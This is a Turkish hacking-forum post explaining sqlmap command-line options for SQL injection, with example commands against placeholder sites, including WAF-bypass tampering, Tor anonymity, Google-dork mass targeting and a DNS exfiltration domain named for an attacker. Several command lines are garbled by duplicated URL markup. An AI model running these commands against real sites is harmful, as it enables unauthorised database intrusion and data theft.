*SqlMap Üst Düzey Kullanımı - ShuJaira -

ShuJaira

Kıdemli Üye
26 Tem 2010
4,960
17
N-map
OHVnaK.png




* Hangi parametleri hangi durumlarda kullanmalıyım ?

* Sqlmap'ta hangi komutla hangi bilgiyi sağlıklı olarak elde edebilirim ?

* Komutların TÜRKÇE karşılıklarını bilmiyorum..
* Sqlmap'i Üst düzey nasıl kullanabilirim ? ... gibi ve buna benzer aklınızdaki oluşan soruları cevaplamaya başlayalım


Options sekmesi


-h, –help: Basit yardım ve kullanım özelliklerini yazdıran komutumuz.

-hh: Advanced yardım ve kullanım özelliklerini yazdıran komutumuz.

–version: Mevcut sqlmap sürümünü gösteren ve çıkış yapan komutumuz.

-v: Default olarak 1 tanımlı gelen ve sqlmap çalıştığı süre zarfında bize gösterdiği çıktıların gösterimini belirlediğimiz verbose komutumuz. 0 ile 6 arasında değişmekte. 0 en az çıktıyı döndürürken, 6 en çok çıktı ile sonuçları döndürmekte.

Target sekmesi: Hedef(ler)in seçimini yapmamız için kullanmamız gereken parametrelerin bulunduğu kategorimiz. En azından birinin seçilmesi gerekmektedir.

-d: Veritabanına direct erişim yapabileceğimiz link eğer elimizdeyse, kullanabileceğimiz komutumuz
Örnek kullanım:

Kod:
sqlmap -d mysql://root:[email protected]:3306/Information_Schema

ile Mysql kullanan ve verilen ip adresinin 3306 portu üzerinden, belirttiğimiz kullanıcı adı ve şifre ile information_schema bilgisinin çekilmesi işlemini yapabiliyoruz.

-u, –url: Veribanına direkt erişimimiz yoksa ve injection yolu ile deneme yapmak istiyorsak, kullanabileceğimiz komutumuz.
Örnek kullanım

Kod:
sqlmap -u “http://www.websitesi.com/test.php?id=1”

-l: Burp veya WebScarab ile çekilmiş log dosyalarını kullanarak, testler gerçekleştirmemizi sağlayan komutumuz

Örnek kullanım

Kod:
sqlmap -l /home/user/Desktop/log.txt

-x: Sitemap(.xml) dosyasını kullarak testler gerçekleştirmemizi sağlayan komutumuz.

Örnek kullanım


Kod:
sqlmap -x “http://www.siteadresi.com/sitemap.xml”

-m: Belirlenen txt dosyası içerisindeki linkleri satır satır deneme usulü ile testlerimizi gerçekleştirmemizi sağlayan parametremiz.

Örnek kullanım

Kod:
sqlmap -m /home/user/Desktop/pentest.txt

-r: Belirlenen txt dosyası içerisinde verilmiş olan requestleri(post/get) kullanarak, testlerimizi gerçekleştirmemizi sağlayan parametrelerimiz.

Örnek kullanım

Kod:
sqlmap -r /home/userDesktop/request.txt

-g: Google dork ile belirli bir pattern’e sahip siteler üzerinde testler gerçekleştirmemizi sağlayan komutumuz.

Örnek kullanım

Kod:
sqlmap -g “.php?id=”

-c: Sqlmap ayarlarının custom bir config.ini dosyasından yüklenmesini istiyorsak kullanacağımız komutumuz.

Örnek kullanım

Kod:
sqlmap -c customconfig.ini -g ….

Request Sekmesi: Hedef URL’e bağlantı ile ilgili yapacağımız ayarlamaları belirttiğimiz parametrelerin bulunduğu kategorimiz.

–data: POST metodu ile gönderim yapılacağı zaman, gönderilecek verinin tanımlandığı kısım.

Örnek kullanım

Kod:
sqlmap -u “www.siteadi.com/login.php” –data=”username=example&password=example&action=submit”

–param-del: Gönderilecek değerlerin hangi değerlerden itibaren ayrılmasının belirleneceği komutumuz.

Örnek kullanım

Kod:
sqlmap -u “www.siteadi.com/login.php” –data=”username=example&password=example&action=submit” –param-del=”&”

–cookie: Eğer site içerisinde testler için bir cookie kullanmamız gerekiyorsa, kullanacağımız parametremiz.

Örnek kullanım

Kod:
sqlmap -u “www.siteadi.com/uye.php?id=12345” –cookie=”session=a235723v5sdg35”

–cookie-del: Cookie içeriside gönderilecek değerlerin hangi değerlerden itibaren ayrılması gerektiğiin belirleneceği komutumuz.

Örnek kullanım

Kod:
sqlmap -u “www.siteadi.com/uye.php?id=12345” –cookie=”session=a235723v5sdg35” –cookie-del=”&”

–load-cookies: Netscape/wget formatında tanımlı dosya içerisinden cookielerin yüklenmesi amacı ile kullanılan komutumuz.

Örnek kullanım

Kod:
sqlmap -u “www.siteadi.com/uye.php?id=12345” –load-cookies /home/user/Desktop/cookieLoader.txt

–drop-set-cookie: Cevap olarak gelen başlık bilgileri içerisindeki Set-Cookie değerini görmezden gelmek amacıyla kullanılan parametremiz.

Örnek kullanım

Kod:
sqlmap -u “www.siteadi.com/uye.php?id=12345” –cookie=”session=2b3k32b4c238c” –drop-set-cookie

–user-agent: Testlerimizde kullanacağımız User-Agent değerini kendimiz belirlemek için kullanabileceğimiz komutumuz.

Örnek kullanım

Kod:
sqlmap -u “www.siteadi.com/testet.php?id=1” –user-agent=”Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0”

–random-agent: Testlerimizde kullanacağımı User-Agent değerinin, sqlmap ile hazır gelen user-agent değerlerinin bulunduğu dosya içeriisnden random olarak atanması için kullanabileceğimiz parametremiz.

Örnek kullanım

Kod:
sqlmap -u “www.siteadi.com/testet.php?id=1” –random-agent

–host: Gönderilen başlık bilgisi içerisindeki Host kısmını, request yapılacak site kısmını, istediğimiz gibi değiştirmek için kullanabileceğimiz parametremiz.

Örnek kullanım
Kod:
sqlmap -u “www.siteadi.com/testet.php?id=1” –host=www.siteadi.com


–referer: Gönderilen başlık bilgisi içerisindeki Referer kısmını, hangi adres üzerinden yönlendirilme yaptığımızı (history -1 gibi), istediğimiz gibi değiştirmek için kullanabileceğimiz parametremiz.

Örnek kullanım

Kod:
sqlmap -u “www.siteadi.com/testet.php?id=1” –referer=www.gosterilecekAdresimiz.com

–headers: Gönderilen başlık bilgisi içerisindeki diğer başlık bilgilerini (Accept-Encoding gibi), istediğimiz gibi değiştirmek amacıyla kullanabileceğimiz parametremiz.

Örnek kullanım

Kod:
sqlmap -u “www.siteadi.com/testet.php?id=1” –headers=”User-Agent: Mozilla/5.0 (X11;Ubuntu; Linux i686; rv:25.0) Gecko/20100101 Firefox/25.0”

–auth-type: Site üzerinde yapılacak authentication işleminin tipini belirtmek için kullanabileceğimiz parametremiz. Basic, Digest, NTLM ya da PKI gibi değerler alabilir.

Örnek kullanım

sqlmap -u “http://www.siteadi.com/login.php”www.siteadi.com/login.php”[/URL] –auth-type=”Basic”

–auth-cred: Site üzerinde yapılacak authentication işleminde gönderilecek veirleri tanımlamak için kullandığımız parametremiz.

Örnek kullanım

Kod:
sqlmap -u “www.siteadi.com/login.php” –auth-type=”Basic” –auth-cred=”username:password”

–auth-private: Login işlemini pem sertifikası ile yapmak istiyorsak kullanabileceğimiz parametremiz.
Örnek kullanım

Kod:
sqlmap -u “www.siteadi.com/login.php” –auth-type=”Basic” –auth-cred=”user:pass” –auth-private=”asd.pem”

–proxy: Proxy kullanarak işlem yapmak istiyorsak kullanabileceğimiz parametremiz.

Örnek kullanım


Kod:
sqlmap -u “www.siteadi.com/testet.php?id=1” –proxy=”http://127.0.0.1:8080”

–proxy-cred: Proxy kullanmak istiyorsak ve bağlanacağımız proxy’e ait user/pass değerleri varsa, bunları tanımlamak için kullanabileceğimiz parametremiz.

Örnek kullanım

Kod:
sqlmap -u “www.siteadi.com/testet.php?id=1” –proxy=”http://proxysite.com:portNumber” –proxy-cred=”proxyUser:proxyPass”

–proxy-file: Proxy bilgilerini bir dosya içerisinden yüklemek istiyorsak kullanabileceğimiz parametremiz.

Örnek kullanım

Kod:
sqlmap -u “www.siteadi.com/testet.php?id=1” –proxy-file=dosyaAdi

–ignore-proxy: Sisteme tanımlı default proxy ayarlarını kullanmak istemiyorsak kullanabileceğimiz parametremiz.

Örnek kullanım

Kod:
sqlmap -u “www.siteadi.com/testet.php?id=1” –ignore-proxy

–tor: Tor network’ünü kullanarak gizliliğimizi sağlamak istiyorsak kullanabileceğimiz parametremiz.

Örnek kullanım

Kod:
sqlmap -u “www.siteadi.com/testet.php?id=1” –tor

–tor-port: Tor network’üne hangi port üzerinden bağlanmak istediğimizi belirtmek için kullandığımız parametremiz.

Örnek kullanım

Kod:
sqlmap -u “www.siteadi.com/testet.php?id=1” –tor –tor-port=9150

–tor-type: Tor ağına;HTTP, SOCKS4 ya da SOCKS5 ile hangisinden bağlanmak istiyorsak tanımlamak için kullanabileceğimiz parametremiz.

Örnek kullanım

Kod:
sqlmap -u “www.siteadi.com/testet.php?id=1” –tor –tor-type=SOCKS5

–check-tor: Tor ağına, bağlantının sağlanıp sağlanmadığını test etmek için kullanabileceğimiz parametremiz. Eğer ağa bağlantı yoksa, geçerli sqlmap testi otomatik olarak iptal edilir.

Örnek kullanım

Kod:
sqlmap -u “www.siteadi.com/testet.php?id=1” –tor –tor-type=SOCKS5 –check-tor

–delay: Her bir HTTP request için aralarda beklenilecek süreyi saniye cinsinden ifade etmek amacıyla kullanabileceğimiz parametremiz.

Örnek kullanım

Kod:
sqlmap -u “www.siteadi.com/testet.php?id=1” –delay=5

–timeout: Bir bağlantının timeout olarak nitelendirilip isteğin iptal edilmesi için gerekli süreyi saniye cinsinden ayarlamak için kullanabileceğimiz parametremiz. Default değer olarak 30sn alır.

Örnek kullanım

Kod:
sqlmap -u “www.siteadi.com/testet.php?id=1” –timeout=10

–retries: Bağlantımız timeout olup iptal edildiğinde, aynı requestin kaç kere daha deneneceğini ayarlamak için kullanabileceğimiz parametremiz. Default olarak 3 değerini alır.

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –timeout=5 –retries=20

–randomize: Verilen parametrelerin random değerlerle değiştirilmesini istiyorsak kullanabileceğimiz parametremiz.

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –randomize=id

–safe-url: Test süresince belli bir frekansta ziyaret edilecek url adresimizi belirlemek istiyorsak kullanabileceğimiz parametremiz. Bazı sistemlerde belli bir sayıda hatalı giriş ile session sonlandırılmasını önlemek amacı ile kullanılır.

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –safe-url=”http://www.siteadi.com”www.siteadi.com”[/URL]

–safe-freq: Test süresince ziyaret edilmesini istediğimiz url’in zaman ayarını(frekansını) yapmak istiyorsak kullanabileceğimiz parametremiz.

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –safe-url=”http://www.siteadi.com”www.siteadi.com”[/URL] –safe-freq=3

–skip-urlencode: Test etmek istediğimiz parametrelerin url-encoding işleminden geçirilme işlemini atlamak istiyorsak kullanabileceğimiz parametremiz.

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –skip-urlencode


–force-ssl: SSL/HTTPS bağlantısını kullanmasını zorlamak istiyorsak kullanabileceğimiz parametremiz

Örnek kullanım

Kod:
sqlmap -u “[URL]https://www.siteadi.com/testet.php?id=1”[/URL] –force-ssl

-htpp: “HTTP Parameter Pollution” metodu ile test işlemimizi gerçekleştirmek istiyorsak kullanabileceğimiz parametremiz.
Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?a=1&b=2&c=3”www.siteadi.com/testet.php?a=1&b=2&c=3”[/URL] –hpp

–eval: Belirtilen python kodunu istek yapılmadan önce çalıştırıp, ardından bu sonuca göre istek yapmak istiyorsak kullanabileceğimiz parametremiz.

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=123&id2=456”www.siteadi.com/testet.php?id=123&id2=456”[/URL] –eval=”import hashlib; id=hashlib.md5(id).hexdigest()”

Optimization Sekmesi:

* Sqlmap’i performans alanında optimize etmek istiyorsak kullanabileceğimiz parametrelerin bulunduğu kategorimiz.


-o: Tüm optimizasyon anahtarlarını kullanmak istiyorsak kullanabileceğimiz parametremiz. –keep-alive, –null-connection ve –threads=3 olarak default tanımlanır.
Örnek kullanım


Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] -o

–predict-output: txt/common_outputs.txt dosyası içerisindeki en çok karşımıza çıkan çıktıları tahmin ederek, test işlemimizin daha hızlı bitmesi konusunda yardımcı olur.
Örnek kullanım


Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –predict-output

–keep-alive: Kalıcı(persistent) HTTP(s) bağlantıları kurmak için kullanabileceğimiz parametremiz.

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –keep-alive

–null-connection: HTTP cevabının uzunluğunu, HTTP body’i çekmeden belirlemek için kullanılan parametremiz. Aktif edildiğinde sqlmap iki farklı NULL bağlantı tekniği ile test ve exploit işlemleri gerçekleştirir. Bunlar Range ve Head’dir. Bunlardan herhangi biri test edilen server tarafından da destekleniyorsa, işlemimizi hızlandırmamıza yardımcı olur.

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –null-connection

–threads: Multi-threading ile sqlmap’in maximum kaç tane HTTP(s) isteği yapabileceğini belirlemek için kullanabileceğimiz parametremiz. Özellikle bruteforce searching işlemlerinde, aramamızı oldukça hızlandıran bu yöntem, performans sebepleri gerekçesiyle max. 10 thread kullanılması tavsiye edilmekte.

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –threads=10

Injection Sekmesi:
* Hangi parametrelerin test edileceği, kişisel payload tanımlamaları ve tamper scriptleri tanımlamaları gibi ayarlamaları yapabileceğimiz parametrelerin bulunduğu kategorimiz.

-p: Verilen parametreler içerisinde sadece belirli parametrelerin test edilmesini istiyorsak kullanabileceğimiz parametremiz.

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?username=asd&password=asd&denemeA=1&denemeB=2&denemeC=3”www.siteadi.com/testet.php?username=asd&password=asd&denemeA=1&denemeB=2&denemeC=3”[/URL] -p denemeA

–skip: Verilen parametreler içerisinde sadece bazı parametrelerin test edilmesini istemiyorsak kullanabileceğimiz parametremiz.

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?username=asd&password=asd&denemeA=1&denemeB=2&denemeC=3”www.siteadi.com/testet.php?username=asd&password=asd&denemeA=1&denemeB=2&denemeC=3”[/URL] –skip denemeA,denemeB,denemeC

–dbms: Sqlmap’e yardımcı olmak adına, eğer backend’de çalışan database management system’i biliyorsak, dbms ile tanımlayabilmekteyiz.

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –dbms=”MySql”


–os: Sqlmap’e yardımcı olmak adına, eğer işletim sistemini biliyorsak, os ile bunu da tanımlayabilmekteyiz.

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –dbms=”MySql” –os=”Linux”

–invalid-bignum: Sqlmap’in orjinal parametre değerlerini geçersiz kılmaya çalışırken kullandığı yollara çok büyük sayıları da (Örn:999999) eklemek için kullanabileceğimiz parametremiz

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –invalid-bignum

–invalid-logical: Sqlmap’in orjinal parametre değerlerini geçersiz kılmaya çalışırken kullandığı yollara Boolen denemeleri de (Örn: id=1 AND 2=5) eklemek için kullanabileceğimiz parametrelerimiz

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –invalid-logical

–invalid-string: Sqlmap’in orjinal parametre değerlerini geçersiz kılmaya çalışırken kullandığı yollara rastgele string değerler ile (Örn: ad=xUqmnfi) eklemek için kullanabileceğimiz parametrelerimiz

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?ad=intelrad”www.siteadi.com/testet.php?ad=intelrad”[/URL] –invalid-string

–no-cast: Payload casting mekanizmasını kapatır ve payloadları kısaltır. Ancak default olarak gelen ayrıcalıkları tam olarak kullanamayabiliriz

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –no-cast

–no-escape: Test edeceğimiz server üzerinde “mysql_real_escape_string” ya da “magic_quotes” gibi ifadeler kullanılıyorsa, tek tınak gibi ifadelerimizi “SELECT char(102)+char(111)” gibi ifadelerle test edip, zamandan kazanmak için kullanabileceğimiz parametremizdir

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –no-escape

–prefix: Test edilecek parametreleri, payloadların önüne istediğimiz değeri ekleyerek daha da özelleştirebileceğimiz parametremizdir

Örnek kullanım

Kod:
 sqlmap -u “http://www.siteadi.com/testet.php?ad=deneme”www.siteadi.com/testet.php?ad=deneme”[/URL] –prefix “’)”

–suffix: Test edilecek parametreleri, payloadların sonuna istediğimiz değeri ekleyerek daha da özelleştirebileceğimiz parametrelerimizdir

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?ad=dememe”www.siteadi.com/testet.php?ad=dememe”[/URL] –suffix “’)”

–tamper: Eğer kullanıcı ile back-end database arasında zayıf bir giriş kontrolü varsa injection yapılacak stringleri WAF’tan geçirebilmek amacı ile kullanılan parametremiz. Önüne alacağı parametre sqlmap klasörü içerisindeki tamper klasörü içerisinden kullanılır

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –tamper=”between”

Detection Sekmesi:

* Risk ve seviye belirleme gibi, belirleme adımlarını belirlemek için kullanabileceğimiz parametrelerimizin bulunduğu kategorimiz.


–level: 1 ile 5 arasında değerler alabilen parametremiz. 1. seviyede daha kısıtlı testler denetlenirken, 5.seviyede daha fazla payload, daha detaylı prefix ve suffixler ile zenginleştirilmiş payloadlar kullanılmaktadır. Ayrıca HTTP Cookie başlığı 2.seviyeden sonra ve HTTP User-Agent/Referer başlıkları da seviye 3’ten sonra denetlenmektedir

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –level=5

–risk: 1 ile 3 arasında değerler alabilen parametremiz. Eğer belirtilmezse default olarak 1 değerini alır. Risk 1 daha sınırlı sql cümleleri ile denetleme yapar. Risk 2’de risk 1’in üzerine heavy-query time based saldırılar da denetlemeye tabii tutulur. Risk 3’te ise ekstradan Or-based testler de eklenir.

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –risk=3

–string: Sorguyu çalıştırdıktan sonra, belirlediğimiz string ile karşılaştırma yapıp, karşılaştırma varsa True olarak dönen değeri eşleştirmek için kullandığımız parametremiz

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –string=”Kullanici”

–not-string: Sorguyu çalıştırdıktan sonra, belirlediğimiz string ile karşılaştırma yapıp, karşılaştırmamız yoksa True olarak dönen değeri eşleştirmek için kullandığımız parametremiz

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –not-string=”Kullanici”

–regexp: Sorguyu çalıştırdıktan sonra, belirlediğimiz regex ifade ile karşılaştırma yapıp, karşılaştırmamız varsa True olarak dönen değeri eşleştirmek için kullandığımız parametremiz

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –regexp=”[0-9]{11}”

–code: HTTP sorgusu sonrası, server tarafından dönen cevaba göre (200 True ve 401 False) eşleştirmek için kullandığımız parametremiz

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –code=200

–text-only: CSS,JS gibi tagleri göz ardı ederek, sadece metin içeriğine göre sayfaları karşılaştırmak için kullanabileceğimiz parametremiz

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –text-only

–titles: Sadece website başlığı baz alınarak sayfaları karşılaştırmak için kullanabileceğimiz parametremiz

Örnek kullanım


Kod:
 sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –titles

Techniques Sekmesi

* Kullanılacak SQL Injection tekniklerini belirlemek için kullanacağımız parametrelerimizin bulunduğu kategorimiz.

–technique: Kullanılacak SQL Injection tekniklerini belirlediğimiz parametremiz. Default olarak BEUSTQ ( Bool-Based Blind, Error-Based, Union-Query Based, Stacked Query, Time-Based Blind, Inline Queries). Ancak bunlardan sadece bazılarının test için kullanılmasını istiyorsak o zaman örnek kullanımımız aşağıdaki gibi olmaktadır...

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –technique=”BEST”

–time-sec: DBMS cevabının gecikmesi için belirlenen süreyi tanımlayabileceğimiz parametremiz. Default olarak 5 tanımlıdır

Örnek kullanım


Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –time-sec=10
–union-cols: Default olarak sqlmap, UNION query’ler için 1’den 10’a kadarlık kolonlarda deneme yapar. Level değerini değiştirerek 50 kolona kadar çıkarabilsek de biz sadece bunu değiştirmek istiyorsak bu parametreyi kullanabiliriz

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –union-cols=1-50

–union-char: Default olarak sqlmap, UNION query’ler için NULL kullanır ve denemelerini bu koşul ile yapar. Level değerini değiştirerek NULL dışında random sayılarla da testler gerçekleştirse de sadece bu değeri manuel olarak değiştirmek istiyorsak bu parametreyi kullanabiliriz

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –union-char 2013

–union-from: Sql injection için UNION query’de FROM kısmında kullanılacak tabloyu belirtmemiz (daha çok zorlamak olarak da düşünülebilir) için kullanabileceğimiz parametremizdir

Örnek kullanım
Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –union-from=tabloIsmi

: –dns-domain :

Eğer test eden(biz), bir domain server’a sahipsek, blind-injection saldırıları hızlandırmak için kullanabileceğimiz parametremiz. Açıklaması çok uzun ve detaylı olduğu için buradan açıklanmayacak. 53 numaralı portu kullandığı için, sudo yetkisi ile çalıştırmamız gerekmektedir. Parametrenin kullanım örneği aşağıdaki gibidir:


Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –dns-domain saldirganadam.com


–second-order: Eğer inject ettiğimiz payload’ın sonucu bir başka sayfada gösteriliyorsa kullanabileceğimiz parametremizdir

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] –second-order

Fingerprint Sekmesi

* Veritabanı yönetim sistemi belirleme sistemleri için kullanılan parametrelerin bulunduğu kategorimiz.


-f ya da –fingerprint: Default olarak sqlmap, veritabanı sisteminin fingerprint’ini bize döndürebilmekte. Eğer daha detaylı bir arama yapmak istiyorsak kullanabileceğimiz parametremiz. Bu parametre ile birlikte sqlmap gerçek DBMS version bilgisini, eğer mümkünse işletim sistemi, mimarisi gibi bilgileri de bize döndürmeye çalışacaktır. Eğer daha doğru sonuçlara ulaşmak istiyorsak, bunun yanında -b ya da –banner parametrelerini de kullanabiliriz

Örnek kullanım

Kod:
sqlmap -u “http://www.siteadi.com/testet.php?id=1”www.siteadi.com/testet.php?id=1”[/URL] -f

SHUJAİRA


 
Son düzenleme:

King Kong

Kıdemli Üye
19 Mar 2017
2,392
10
Gördüğüm En Detaylı Anlatım Ve En Güzel Anlatım... Ellerine Sağlık Hocam İnşallah Sabite Alınır.
 

0x762

Yaşayan Forum Efsanesi
4 Nis 2016
38,343
35
Geçen sene okumuştum kaynağında bu kadar renkli ve düzgün değildi.Keşke tamamını ekleseydiniz. Yayınladığınız için teşekkürler.
 

Enusirevan

Katılımcı Üye
1 Eki 2017
291
2
Trabzon
Pekı Dostum Bu Komutlar Android İçin Olan Termux da Yazdigin Gibi Kullanılır Mi ?
 
Moderatör tarafında düzenlendi:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.